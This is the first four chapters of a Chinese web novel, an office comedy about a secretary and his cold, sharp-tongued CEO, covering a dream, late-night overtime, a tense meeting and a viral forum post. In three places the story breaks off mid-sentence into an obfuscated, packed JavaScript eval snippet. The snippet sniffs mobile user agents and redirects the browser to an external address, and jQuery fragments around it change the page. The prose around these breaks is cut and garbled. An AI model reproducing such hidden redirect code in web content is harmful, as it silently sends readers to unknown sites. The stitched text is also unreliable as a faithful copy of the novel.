《发疯表白冷淡上司后》 1. 第1章 “陈秘书,你这交上来的是什么东西——” 年轻男人西装革履,端坐在办公桌后,嗓音冰冷。 啪地一声响,一沓文件伴着话音被扔在办公桌上。 雪白纸张四散开来,被棕黑的桌面衬得白惨,气氛也随之降至冰点。在这阵令人大气不敢喘的厉声斥问后,一道冷静声音毫不犹豫响起: “这是我汇集了各部门信息和重要报表,还有各个子公司经营项目现状,总结出来的集团近几年的发展状况,并在此基础上预测的集团前景、存在问题,以及解决方法。” 站在办公桌前的青年不卑不亢,一副精英模样,半点不畏惧上司周遭的冷气,抿着唇直视对方,深棕的瞳仁藏着一丝怒气和倔强,映着办公室的灯光,亮的惊人,像是一只被无缘无故训斥了的委屈小金毛。 青年深吸一口气,压着脾气又开口:“我认为我的报告条理清晰,语句中肯,没有问题。” 此话一出,办公室里更安静了几分。 几秒后,一声嗤笑响起。 “条理清晰,语句中肯?”仿佛是被他的态度激怒,年轻的掌权者扯了扯唇,黑眸盯了过来,“交上来这种东西你还有理了,你是不是没睡醒?你最好说这是你工作失误,没发现电脑中病毒产生的一堆垃圾,其实报告另有其份,这样我还能原谅你几分。” “报告写成这个样子,让我不得不怀疑你背地里是不是还有另一层身份,脑洞大开的艺术家,想象力这么丰富。” 男人的声线冷淡低沉,不疾不徐,像淙淙的冷泉,其实是十分好听的。但是说出的内容就不那么美好了,听着令人上火,无比上火。 嘲讽的话语传过来,青年眼中怒火更盛一分,冷静摇摇欲坠。 但对方好像并没有就此停止的意思:“还有你这衣服,陈裕青,你什么时候审美这么扭曲了,我支付给你的薪水难道让你连一套体面的衣服也买不起吗?还是说你真的想转行当艺术家,现在在搞什么行为艺术?” “盛溱。” 出乎意料的,面对上司吐出的刻薄语句,看上去很生气的青年却没说什么,只是叫了对方一声,深棕的像小狗一样的眼眸依旧明亮,好像在酝酿一场风暴。 男人眉头都没皱一下,仍旧高高在上,从容沉冷:“怎么?” 回应他的是一巴掌拍到桌面的声音。 响亮,愤怒,气势逼人。 拍得实心桌面好像都颤了颤。 桌上被扔到一边的文件也跟着抖了两下,封面上年终总结四个字扭曲在一起,散乱的纸页间,原本被遮掩的内容大剌剌显露出来: 1、盛总嘴巴太贱,员工体验糟糕,建议毒哑了来上班; 2、上班如做牛马,建议公司在薪水一栏新增精神损失费,额度不得小于五位数; 3、盛总擅长挑刺,建议发挥特长,创办一家专门挑刺的子公司,鸡蛋里挑骨头,挑出来的刺和骨头回收做化肥,无中生有,直接走上行业巅峰; ...... “我穿这身上班怎么了?公司哪条明文规定不许穿成这样?员工有自己的穿衣自由!你就是找茬!!” 戴着痞老板针织帽的陈裕青气冲冲反驳,栗色发丝不服气地从帽子边缘翘出,压在眉眼处,整个人的气势都拔高了一层。 他身上,印着龙图的T恤和黑色铆钉夹克交相辉映,下半身的奶奶灰毛裤搭配蓝色长筒胶鞋,有一种随性且疯癫的美。鞋底踩在总裁办公室昂贵的大理石地砖上,因气愤而不断发出嘎吱嘎吱的声响。 “还有我的报告,你都没认真看,凭什么全盘否定?那明明是我日日夜夜推敲出的精华!!” 他又梆梆拍了两下桌子,帽子上的两条草绿色鞭毛差点因此戳到上司的鼻孔里。 盛溱后仰,脸上还是没什么表情,只是眼底流露出明显的嫌弃。 “说话请保持距离。” 他打量了一下自己秘书的装扮,目光在对方胸口处的“我是皇帝”上顿了顿,还是没忍住皱眉:“你......” “你什么你!” 陈裕青被他这么一看,顿时被针刺了一样,更气了。 这人还敢嫌弃他?他都没有嫌弃对方嘴贱好吧! 狗比上司天天拿鼻孔看人,干脆眼睛长鼻孔上算了!他报告明明写的这么出彩,字字珠玑,居然说是一堆垃圾!还吐槽他审美差,他审美哪里差了,根本是这人不懂欣赏,没品的东西!!! 真想狠狠给他一拳! 这么想着,陈裕青心脏忽然扑通扑通兴奋跳起来。 伴随着这个念头越来越清晰,他整个人也跟着躁动起来。 他盯着上司那张欠揍的脸,某个想法始终盘旋不下,夹杂着沉积的委屈和愤懑。 陈裕青红着眼睛安静片刻,忽而动了,在对方一瞬惊愕的眼神中迫不及待咬牙捏着拳头冲了上去—— “你个臭傻|逼,老子忍你很久了!!!” ...... ............ 深夜。 昏暗的卧室里弥漫着令人安心的气息,几缕霓虹灯光从没能彻底拉上的窗帘缝隙里溜进来,在床边投下光怪陆离的色影。 床上被子里隆起一个弧度,一道人影侧睡着,面容隐在黑暗里,一派安静美好,可隐约响起的急促沉重的呼吸声却昭示着并不那样。 醒来时陈裕青还没从梦中那阵强烈的情绪里抽离,睁开眼的前一刻还在紧紧捏着拳头,伸出床外的脚也使劲蹬了蹬,并委屈的吸了吸鼻子,好像在同什么做激烈的斗争。 半晌,他睁开一双犹带迷蒙的眼。 胸腔里还有些莫名怒意,但已经完全意识到刚刚是在做梦的陈裕青:“......” 这什么离谱玩意?上班上傻了吧! 他面无表情的松开紧握的拳头,擦了擦眼角的泪花,缓了缓后摸到放在枕头旁边的手机摁亮。 手机发出的白光在黑暗的环境下有些刺目,陈裕青眯着眼睛适应后,下意识的去看时间。10月7号晚11点55分,看清时间的那一刻,他彻底清醒了,猛地坐起来。 卧槽,十一长假的最后一天还有五分钟就要结束了! 五分钟! 怎么过的这么快? 陈裕青震惊,这时候他忽然记起来,自己对这假期的最后一天晚上本来是很珍惜的,为此他特地不到七点就洗漱上了床,打算愉快玩手机玩到十一点再睡觉。结果中途不知道什么时候稀里糊涂睡过去了,直接睡到了十一点,一睁眼都快零点了。 睡就睡吧,干脆一口气睡到第二天早上呗,结果还醒了,现在好了,他既要直面虚度光阴的懊悔,又要感受假期结束的悲哀,还要纠结接下来到底要不要继续睡。睡的话总感觉亏了什么,不睡的话第二天必定精神不好...... 而且。 明天,又要去上班了。 意识到这一点,陈裕青一瞬颓丧,好像被吸干了精气似的,捏着手机垮着肩膀,年轻帅气的脸上掠过灰败。 哪怕已经工作了好几年,还是不想上班。 他真羡慕小区楼下的老头老太太,领着高额退休金,每天种花种菜遛狗遛猫遛鸟钓鱼下棋聊天跳广场舞。 什么时候能一键退休啊。 陈裕青神游天外,发了一会儿呆,然后低头看了看手机,哀嚎一声,倒在床上。现在是清醒了,一时半刻也睡不着,他捧着手机,打算虔诚且安详的度过这假期最后一刻。 可惜,这点愿望也没实现,他眼睁睁看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467000|185497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机里进来一条消息—— 盛总:【和腾跃的合作案发我一下。】 “。” 哈哈,他就知道! 陈裕青腾地一下坐起来。 漫漫长夜,良辰美景,怎么能少得了上司相伴呢?刚才躺床上空虚寂寞,翻来覆去辗转难眠,总觉得少了点什么,原来是少了上司的工作短信啊! 陈裕青脸上无知无觉露出一个微笑,夜里看着有点瘆人。 他心里发着疯,手上倒没闲着,一边回复了个好的,一边翻身下床。 文件存在电脑里,手机上没有,要给对方发过去还得先去开电脑。 这份合作案已经有小半月了,一些细节有待商榷,就一直没有下文,不知道对方这时候要来是何意。 都说遇到半夜老板发消息,月薪三千的员工当看不见,月薪一万的员工看事急不急,月薪十万的员工立马开干。 陈裕青每次刷到类似内容就会下意识思考自己,思考没两秒就想翻白眼。 他在扶光这种顶级大集团里当总秘,有个完美主义且毒舌还工作狂的上司,恨不得一天24小时都在工作,作为对方的秘书,他也被迫变成工作狂,那感觉简直是比牛马还牛马。 上了几年班,已经到了上司一声令下就哞地开干的地步。 幸好月薪还能安慰他一点。 发文件没啥技术含量,陈裕青一心二用,边发边走神。他身上还穿着睡衣,头发被睡得翘起,没有一点在公司里精干矜持的模样,趴在电脑跟前有一搭没一搭地玩鼠标线。 不知道为什么,明明刚才还精神着,这会儿对着电脑,却有点犯困。 陈裕青打了个哈欠。 发过去的文件被接收后半天没有回音,盛溱那边安静得像看了这个文件立马去世了。 干等了半个多小时,陈裕青很无语。 有没有问题倒是回个话啊! 然而给盛溱当了四年的秘书,充分的工作经验使得他就像那个皇帝跟前的大太监,揣测上意炉火纯青,主子一抬屁股就知道对方想放什么屁。 陈裕青直接发问:【盛总要是没事我就先睡了哈】 外加一个穿西装简洁小人微笑表情包。 盛溱这人不喜欢花里胡哨,起初陈裕青很爱发各种奇怪可爱的表情包,但在发一次就被盛溱嫌弃一次,说辣眼睛外加吐槽他审美差之后,陈裕青就再也不发了,换成了如今这套性冷淡风商务小人表情包,每发一次都有种平静的疯感。 他发完,往床边走,刚走两步那好像去世已久的上司的电话就进来了。 陈裕青顿住脚步,翻了个白眼,接通,和梦中别无二致的冷淡声线从话筒里传出来: “别睡,我记得你是27岁不是72岁。” “......” 这是什么话! 年轻人爱睡一点有问题吗! 陈裕青一怒之下怒了一下。 他又记起不久前做的那个梦,于是怒了两下。 可惜隔着手机,对方并不能看见他此刻无语的表情。 “和腾跃的续约待定,先查一下腾跃最近的合作方都有谁,还有腾跃最近的财报、流水方面有没有什么不对劲。时间加上前几天的,按三倍加班费给你算。” “另外,明天上午九点开个会,你记得通知。” 话筒里男声有条不紊的吩咐,发现许久没有回音了才微微提高了声音:“陈秘书,陈裕青,你在听吗?” “......在的。” 听见了听见了两只耳朵都听见了! “行,资料明天交给我。” 然后就无情挂断了。 只剩陈裕青对着手机大眼瞪小眼,然后窝窝囊囊拿着三倍加班费干活去了。 2. 第2章 假期后第一天,早八点的路上挤满了形形色色的牛马。 陈裕青也是其中一员。 他今天还提早出发了。 平常他的上班时间是九点,因为一般盛溱九点半来公司,他作为对方的秘书需要在这半小时内简单梳理好对方的重要行程,还有堆积的重要文件资料。但今天盛溱要九点开会,提前了半小时,因此陈裕青也得比以前提早半小时到。 熬了夜又提早上班,按道理应该一脸疲态,但陈裕青还算精神抖擞。 毕竟半夜加班之前他已经睡了四个小时,凌晨两点左右结束工作去睡觉,早上七点多醒,睡眠足够。而午夜那个时间,就算盛溱没来消息让他干活,清醒后的一时半会他也是睡不着的,玩手机也有可能玩到凌晨两点,还不如拿三倍加班费。 两相对比,让陈裕青有一种薅了资本家羊毛的暗爽。 虽然不知道爽在哪里,但爽都爽了。 他开车到了公司。 这个时间段正是员工打卡上班的时候,来来往往的人流中,有不少熟面孔。 在此起彼伏的“小陈早”“陈哥早”“陈秘早”的声音里,陈裕青自动切换精英模式,脸上挂着的淡淡微笑更完美了几分,脸颊一侧的酒窝始终保持在一种要露不露不仔细看看不出来的状态。 “陈哥早上好啊。” 一道看似精神昂扬实则有气无力,通常出现在周一早晨的经典声音从他侧方传来,因为过于大众没让陈裕青从音色分辨出这是谁。他下意识扭头,冷不丁对上一对硕大的黑眼圈,吓了他一大跳,再定睛一看是总裁办里的小章。 对方两眼无神,面色苍白,好像熬了几个大夜,精神状态哪怕是在返工的第一天里也是十分出众的。 这令陈裕青惊诧出声:“你昨天晚上也加班了?” “没,”小章猛吸一口早晨的凉气,双眼短暂的有神了些,顺手把有些乱的长发重新扎了扎,听了陈裕青的话她也诧异,“陈哥你昨天加班了?” “......嗯。” 陈裕青表面云淡风轻,实则悄悄咬牙。 好好,狗比盛溱只逮着他一个人霍霍! “辛苦了。” 小章面露同情,同情中还掺杂着敬佩。不愧是陈哥,加了班第二天还能这么精神,怪不得能做到首席秘书呢! 她有气无力:“我是睡眠不足,晚上做了个噩梦,没睡好。” “白天一时兴起看了个丧尸片,结果晚上做梦就梦见这个了。梦见自己在上班,上的好好的公司里突然就爆发丧尸了,我躲在茶水间,看见走廊到处都是血和同事变成的丧尸,吓得没敢出去,但是还是没躲过,被咬了。” “然后咱们公司全军覆没,一个活人都没有......”讲到这,小章顿了顿,语气虚弱里有一丝复杂,复杂中透着癫狂,“后来盛总变成了丧尸王,扶光是他大本营,变成丧尸后我还在给他打工,甚至由于丧尸不吃不喝的特性,一天24小时都在打工,盛总逐渐称霸全球,全球的丧尸都在给他打工......” 小章的话语到最后轻飘飘的,陈裕青望了望头顶大楼上的扶光logo,沉默了。 最符合人设的一集。 工作狂丧尸王吗? 那真的很可怕了。 想想小章描述的画面,陈裕青不由自主的吞咽了一下。 “哦对了陈哥,你也没逃过,你是丧尸二把手,也变成工作狂了。”小章幽幽给出致命一击。 陈裕青干笑:“哈哈......” 鬼故事! 被小章的话启发,他在不寒而栗的同时,也跟着思绪飘远起来,他记得,他好像也做了个离谱的梦来着,梦见什么了? 一边往公司里走,陈裕青一边想。 可惜,对梦的印象只有刚醒那阵比较清晰,后来就渐渐遗忘了,随着时间过去更是蒙上一层雾,越想回忆越记不起来。 想不起来就不想了,陈裕青转而开始在脑子里有条不紊地安排自己接下来要干的事。 差不多九点,上司到了。 目力所及之处一双大长腿走了过来,踩在一尘不染的地砖上,颇有威势,碳灰色西装剪裁得体,包裹着比例完美的躯体,衬得肩宽腰窄。再往上是对方那张万年不变的冷脸,黑眸淡淡扫过,好像谁都不放在眼里。 陈裕青早已习惯了上司这番死样,迎上去:“盛总,会议室已经准备好了,各部门也通知过,可以开会了。” 他又把昨天晚上做好的资料递过去。 盛溱接过,翻了翻,在重点几个数据那看了看,点头:“等下会上你再说一遍。” 陈裕青答应:“好的。” 他跟在盛溱后面进了会议室。 屋子里一圈各部门经理,年轻人中年人都有,总体还是中年人居多。但无论是哪个年纪的,在盛溱进来后都彻底安静了下来,落针可闻。一瞬间,就有了会议室严肃的感觉。 陈裕青紧跟着坐在盛溱旁边。 在进行过工作汇报,项目进度确认后,盛溱看了眼商务总监:“和腾跃接下来的续约准备得如何,我看了你们交上来的合作案,那边想把合作年限扩大到十年,定金比例18%,评估后有没有问题?” 商务总监是个中年男人,闻言不假思索:“没有问题。” “腾跃一直以来口碑不错,想要提高合作年限,定金比例跟着提高也正常。”对方振振有词。 盛溱冷笑一声:“是吗。” 陈裕青一听就在心里为对方默哀了一下。 早在昨天被盛溱吩咐下来查腾跃财报的任务时,他就有所察觉。虽然盛溱这人事多又挑剔,但从不无的放矢,都让他查了,肯定这份续约间存在什么问题,很可能埋着什么雷。 如今一看确实是这样。 陈裕青看了看有点紧张但强作镇定,眼珠子转动似乎正在急切打腹稿的商务总监,再度在心里为对方默哀一下,在盛溱的示意下走到前边,很利落地把资料投放到屏幕上。 他擅长分析数据,拉表能力也优秀,几个数据摆在一起相当直观,省了动脑子的力气,叫人一看就明白。 “腾跃上个季度财报状况还不错,看上去在稳步发展,但综合来看,近年来流动负债率明显增长,存在银行大额借款,现金流有断裂的风险。并且股权结构上,近期有外资进入,占比不小。” 腾跃以前跟扶光的合作都是五年,定金也只是12%,这次突然提高这么多,很难不让人多想。听说最近腾跃内部正在“改朝换代”,以前口碑不错,以后就说不定了。 再者,外资......扶光迅猛发展路上,一直与外境资本不太对付,这个节骨眼上出现这种情况,很令人深思。 稍微查一查就能清楚的事,商务总监却不知道,要么是不上心,要么是想当然觉得以前的合作都没出错,这次也不会。 不管哪种,都是严重的失职。 伴着前边青年简洁从容的分析声,会议室气氛也越来越紧绷。商务总监紧紧捏着纸质文件,手心不觉出汗。 “还正常吗?”盛溱问。 “这......” 商务总监吞咽了下,赔笑。 “应该是底下员工工作不上心,我回头就——” 啪一声,原本的合作案被扔在桌上,打断了商务总监的话。 “回头?” “交上来这种东西你还有理了?”盛溱怒急反笑,唇角勾起,眼底却还是冰冷一片,“需要我给你批个假你回头睡一觉清醒了再来给我找理由吗?” 走回来的陈裕青脚步一顿。 好奇怪,他为什么会觉得这场景似曾相识,这句话也好耳熟,好像在哪里听过...... 陈裕青面色古怪一瞬,又恢复平静。 会议室内的气氛因为这句话彻底陷入冷凝。其余人眼观鼻鼻观心,屏气凝神大气不敢喘,生怕在这个时候触到盛溱霉头,从而被拎出不知道什么时候犯下的小错误,和商务总监作伴。 没人说话,就也更使得中年男人战战兢兢的动作和表情突出。 盛溱懒得废话,丢下一句“尽快把备案做上来”后就解散会议离开了。 直到他身影消失在门口,会议室里才有了声音,剩下的人三三两两离开,最后只留下神色恼怒一头汗的商务总监。 陈裕青收拾东西走的时候,路过对方,被瞪了一眼,顿时就有些莫名。 ......什么意思?这人不会以为是他多管闲事给盛溱上眼药才致使他被训的吧? 他有点想笑,也真的笑了,唇角礼貌性地略弯了弯,脸颊一侧的小酒窝短暂的出现了一下,风度翩翩,很是好看。 背后的中年男人表情更恼怒了些。 陈裕青没再管对方,快步追上已经走出老远的上司,他有些事有点疑惑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈裕青忍不住嘴角上扬。 嘿嘿盛溱还有这一天,虽然是在梦里,那也很爽了。即便肉|体向金钱屈服,灵魂也不满资本的压迫,一定是这些年上司的各种难伺候潜意识里被记住,他才会做这样的梦,一切都有迹可循! 陈裕青哲学家附体,直接略过自己在梦中的脑残行为,着重欣赏了下梦里揍上司的场景,结合着现实男人挺拔的背影,虚空打了一套拳,身心都舒展了。 是的,这才是社畜解压的最好方式啊! 他笑容越来越大,没注意盯着上司的后脑勺看得久了一点。 “......!” 冷不丁的,始终没吭声的男人忽然转头了。 骤然对上上司的脸,陈裕青心里一激灵,突然间萌生出一股做了坏事的心虚感。 众所周知,人在心虚的时候小动作都很多,陈裕青下意识露出灿烂微笑,以此表明自己很无辜。 他脸长得嫩,又天生酒窝,笑的开怀的时候酒窝深深,深棕色眼睛明亮。平时矜持着浅浅微笑的时候还能装出几分成熟温雅,一旦嘴角弧度大一点,笑容灿烂一点,明媚的底色立马浮现上来。 这在往常绝对是陈裕青竭力避免的事。 盛溱恍然间都觉得电梯里亮了几分。 他不着痕迹看了眼顶灯,眼底有一丝微妙。 刚才就觉得背后有一道视线一直定在他身上,本来盛溱是完全不在意的,但架不住这道视线越来越灼热,越来越强烈,带着点不寒而栗的感觉,让盛溱忍不住皱眉回头,谁知会直面来自得力秘书的灿烂笑容。 ......以前陈裕青有酒窝吗? 他不由想到。 然而这等小事根本不被盛溱放在心里,所以他也不知道他的秘书从前到底有没有酒窝。 盛溱把涌到喉间“你看我做什么”的质问咽了回去,眸光和青年无辜又带着点略微讨好意味的眼睛短暂对视了一下,最终定在对方脸上,顿了顿,嗓音平淡道:“回头酒局别这样笑,看起来有点傻。” 电梯门开,盛溱走了出去。 后面的陈裕青愣了一下,不敢置信。 这人说什么?他傻? 岂有此理,狗比! 陈裕青笑容一秒垮掉,恶狠狠从电梯里跨出。 3. 第3章 陈裕青原本还算不错的心情,被盛溱一句话搞得晴转多云。 他脸上的表情重新回到了往常那种淡淡的笑意,看上去依旧风度温和,只是眼神有些许凶狠,莫名有一种皮笑肉不笑的感觉。 然而上司本人一点也没意识到刚刚那句话究竟有多么欠揍,回到办公室后,自然地吩咐下属要做的事,甚至还要了一杯不加糖的咖啡,好像已经忘记了之前在电梯里发生的事。 陈裕青暗地里磨了磨牙,整理完文件准备悄悄退出去。 却见那边的年轻男人终于碰了碰变得温热的咖啡杯,低眸喝了一口,叫住了他:“这次是小章磨的?” “对。”陈裕青应了,他身体很想早点离开,职业操守却让他停住脚步,“盛总有什么问题吗?” “没什么。” 话虽这样说,盛溱眼底却掠过一丝失望,还有点隐约的嫌弃,像是在无声对这杯咖啡评头论足。他又抿了一口,喉结几不可察地滚了滚,就把杯子放下了,淡淡道:“没你磨得好喝。” “......” 这要让他怎么回?! 陈裕青嘴角抽搐了一下,认命般道:“......那下次我来?” “嗯。” 此话一出,那边办公桌后的男人就答应了,虽然语气还是一如既往的冷淡,尾音里仔细听却能听出几分满意和愉悦。 陈裕青无语。 ......玛德,有时候真恨自己手上功夫太好了。 他一定要抽空彻底教会小章这项技能!! 陈裕青心里骂骂咧咧的离开。 回自己办公室的时候,他遇上善后完会议室回来的另一个助理小李。同是助理,小章负责的更多是生活方面,小李干的活则比较杂,有时还会跟着陈裕青和盛溱出差。虽然在总裁办里大家的直接上级都是盛溱,但这些助理其实都归陈裕青管。 小李老远就看见他了,关切问:“陈哥,你怎么看起来脸色不太好,身体不舒服吗?” “没,”陈裕青摇摇头,眉眼温和,他不喜欢把坏情绪带给不相干的人,“我刚刚从盛总那过来。” “噢,我懂了。” 身材高大魁梧,比起助理更像是个健身教练的小李感同身受:“盛总真的挺吓人的,我每次单独汇报的时候都可怕了,最怕说着说着盛总突然朝我冷笑一声而我还不知道错在哪里........” 陈裕青心想,不,你不懂,你的懂和我经历的都不是一回事......不过盛溱确实是那死样,呵。 小李说到最后,壮硕的身材瑟缩了下,像风中飘零的小白花,非常不符合本人的气质,他还满心佩服地总结了一句:“陈哥你真的......太牛逼了。” “不。” 陈裕青安静听着,平静中突然开口,“其实我每次从他办公室出来的时候,也总觉得身上少了点什么。” “什么?”小李下意识问。 “阳寿。” 陈裕青淡淡回答。 他转头看过来,碎发搭在眉眼落下一片阴影,深棕色的眼睛幽深一片,整体偏向柔和精致的五官在这一刻竟多出了几分凌厉诡谲感。 陈裕青幽幽道:“你不觉得总裁办公室是个很恐怖的地方吗?里面有个人一动不动坐在那,眼神散发死亡光线,张嘴魔音贯耳,常年弥漫冷气充斥着一股阴间的感觉,进去了丧失笑容,出来后劫后重生。” 青年勾起一个笑。 他背后不远处就是质感沉冷的总裁办公室大门,伴着他低低的容缓的语气,那道门板好像也被蒙上了一层阴翳。 两人间充斥着一股玄妙且智慧的氛围。 小李似乎被忽悠到了,呆愣愣的,几秒后一拍大腿:“......卧槽陈哥你简直说出了我的心声!” “没错就是这个感觉,其实我们都这么觉得但是不敢说,盛总好像那个人形制冰机......” 人形制冰机? 要他说,盛溱这混蛋还不配这么高级的词语。 这就是个傻冰! 陈裕青扭头,深呼吸一口气。 他听着小李的碎碎念,很快冷静下来,又变成一副温雅庄重的样子,好像刚刚小发神经的人不是他。 末了,陈裕青笑了笑,眼睛微弯,脸颊一侧的酒窝浅浅露了个面,阳光明媚,如同知心学长一般拍了拍小李的肩膀,趁势感受了一下那让他十分羡慕的肌肉,温声:“好了,我没事的,去工作吧。” 小李还想说什么,盯着他的脸恍神了一下,咽下到嘴的话,懵懵点头。 * 一上午忙忙碌碌,几乎没歇着,午休的时候,远离了上司远离了同事,陈裕青终于获得了片刻的安宁。 他一边刷手机,一边啃红彤彤脆脆甜甜的苹果,窝在自己办公室的小躺椅上,忘记了此前的不愉快,如同回到了快乐老家。 好哥们这时突然给他甩来一串消息,开口就是吐槽。 韩彦:【艹了,走路踩狗屎,上班受鸟气就算了,蹲个厕所刷个手机,居然还给我推办公室恋情的视频!我单身这么多年怎么了!!】 韩彦:【拼dd你不是说我是全世界最幸运的人吗,这是要闹哪样】 韩彦:【[链接]看得我胃口全无,再让我刷到这玩意就让我走路捡到一亿[愤怒][愤怒]】 陈裕青看到手机上方不断跳跃的消息,笑意加深。 他淡定地啃完最后一口苹果,擦了手,才点进去欣赏好友发疯的杰作。 韩彦:【青子你怎么不回我?你是不是有苗头了?你不会真想在公司谈吧?】 韩彦:【机关枪突突.jpg】 看到最后一句陈裕青呛咳了一下,翻了个白眼,才打字过去。 陈裕青:【宫中禁止对食。】 陈裕青:【办公室恋情狗都不谈好吧?】 陈裕青:【还有,你在厕所能有什么好胃口[捏鼻子.jpg]】 那边噎了一下,让陈裕青高兴地笑了两声。 他和韩彦关系很好,每天损来损去,算是工作之余的乐趣。 而他们俩其实早在大学就认识,还是一个寝的。 其实他最终选择在扶光集团工作,也和对方有那么一点关系,当初大四实习,他没打算来扶光,是韩彦想来,拉着他过来碰碰运气,结果两人都通过了,扶光待遇令人心动,陈裕青也就顺势留下。 几年过去,他们俩一个是总裁秘书,一个是人力经理,虽然部门隔得老远一天也见不着几次,但感情倒是一点没减少。 韩彦:【说起办公室恋情,我今天才吃到一个瓜!】 韩彦:【你还记得产品部那个姓刘的主管吗?他和另一个姓王的主管谈了,还结婚两年了,没想到吧!两人平时看着没什么交集,还同部门存在竞争,每次开会都针锋相对恨不得把对方踩下去,谁知道居然是一对,这个世界太魔幻了】 陈裕青:【你真八卦】 韩彦:【你就说你爱不爱听吧】 ......那他是真爱听。 毕竟人类无法拒绝八卦。 两人隔着手机一顿激情畅聊。 从韩彦那得知刘主管和王主管是因为不小心喊了昵称才恋情暴露,陈裕青满意了,和韩彦一起对此唏嘘不已。 聊到最后,话题不可避免地落在“在公司找对象简直邪门”“不暗杀同事就不错了”“如果这都能谈那真是真爱”这方面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467002|185497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛斥听不懂人话的同事和小嘴淬了毒的老板,又一人说了句“你不谈我也不谈”,这番聊天才堪堪结束。 陈裕青意犹未尽,喝了口水,继续刷手机。 结果没划拉两下,屏幕上突然也冒出个关于办公室恋情的帖子,差点让他把喝进去的水全都喷出来。 陈裕青:“......” 这什么?刚和韩彦聊完就有了?? 大数据恐怖如斯。 他啧了一声划走,过了一会儿后又忍不住悄悄折回来。 又划走,几秒之后还是回来了。 反复拉扯三次,抱着一种猎奇的心态,陈裕青最终还是顺应本心点进去了这个名为《发疯和老板表白后,挑剔我的老板给我涨了薪》的离谱帖子。 他心想,他倒要看看有多邪门。 大不了等会儿转发过去骚扰韩彦。 这么想着,陈裕青津津有味看起来。 点进去之后,发现帖子内容和名字没有出入,质朴的语言激烈的感情,让广大打工人瞬间代入。 0L:[如题。楼主本人是个小社畜,在某一线大城市当设计师助理。 这个职业大家懂得都懂,每天起早贪黑,出生入死,干最累的活,拿最少的钱。加班熬夜是常态,老板一个电话就得滚过来干活,什么杂七杂八的活都能摊上,关键是还他妈的没有加班费! 楼主就像那个海绵里的水,在煞笔老板眼里挤挤还能用。这就算了,老板还贼踏马犯见,每天那个阴阳怪气的劲让楼主恨不得俩耳刮子甩他脸上。就这样过了很久,直到有一天改图纸改到凌晨一点,楼主捏着手边喝空的咖啡杯,望着窗外的夜色还有手机里傻冒老板的话,忽然绷不住了。 可能是咖啡上头了,也可能是半夜人返祖了血脉觉醒要发疯了,楼主凭着一腔怒火,冲到了老板办公室就是一顿发癫。 什么我喜欢你啊我爱你啊,什么你以为我对你百依百顺是因为我很需要这份工作吗那是因为我想每天看到你啊,什么我接受五千工资无偿加班是我很爱工作吗那还不是这样可以和你多待一会儿......不含一丝感情,全是对我那五千工资五万活的痛恨。 楼主就这样声泪俱下夹杂着国粹,直接给老板干蒙了,输出完楼主转身就走,看似是悲痛欲绝,其实是逃避加班。 第二天楼主睡过头迟到了,本来还想找个理由,结果傻逼老板居然啥也没说,后面更是离奇,楼主提了两个月都没通过的涨薪居然过了,还比楼主提的多了一千,现在楼主的工资直接来到了八千! 甚至一天能阴阳怪气十几遍的老板再没对楼主阴阳过,偶尔看楼主的眼神还带着一丝敬畏和尊重。 事情发展到这楼主也是没想到的,整件事都充斥着一种荒诞感......] 1L:[666。] 2L:[我勒个涨薪奇才!] 3L:[看到楼主职业,我沉默了,是的,我们设计师助理就是这么牛马,底层中的底层。] 4L:[我靠原来这样做可以涨薪吗?学废了!] 5L:[学废了!] ...... 底下一串“学废了”的评论,夹杂着楼主本人“别闹啊告诉我我该咋办啊”的言语,看得陈裕青以为自己出现了幻觉。 发疯表白?对象是上司?还成功涨薪了? 这几个词是能这么连在一起的吗?? 同是社畜,陈裕青下意识地就联想到了自己的顶头上司盛溱,脑海里刚浮现出对方的脸,身体就忍不住恶寒得一个哆嗦。 噫。 有点反胃。 他面色复杂地瞅了瞅热度不断飙升的帖子。 好怪,再看一眼。 4. 第4章 “......这么明显出错的数据,别告诉我是打印错误,公司的打印机可不背这个锅。” 陈裕青刚走近盛溱的办公室,就听见里面传来训斥声。 男人音量不大,但声音透着冷意,令人胆寒。随之响起的是另一道男声,在小声解释着什么,听不大真切,不过很显然,并没起到什么作用,反而使得屋子里的气氛更凝滞了,站在门外都能感受得到。 午休刚结束就碰上这事,陈裕青挑挑眉。 若是一般员工,来办公室正巧碰见上司训人可能犹豫不敢进去,害怕殃及池鱼,但对于陈裕青来说,这种情况简直司空见惯。 他脚步未停,伸手轻敲了几下门,里头顿时安静一瞬,很快门内传来一声熟悉又冷淡的“进”,陈裕青不急不慢推门进来。 “盛总。” 进来后,他抬眸快速一扫,果然气氛很糟糕。 哪怕办公桌后的人没有什么大动作,也能轻易瞧出脸上的愠色,而且还在一下一下轻轻敲着桌面,这证明对方已经没有多少耐心了。 陈裕青心里不由小声吐槽,就这火气,盛狗还天天喝咖啡呢,喝点别的不好吗,咖啡能败火吗。 青年的进入像是在一室冷凝里注入了一股暖流,被训的员工悄悄动了动发僵的手脚,朝陈裕青投去感激一瞥。 陈裕青一如既往脸上挂着淡淡微笑,瞧着这场面忍不住思忱起来。 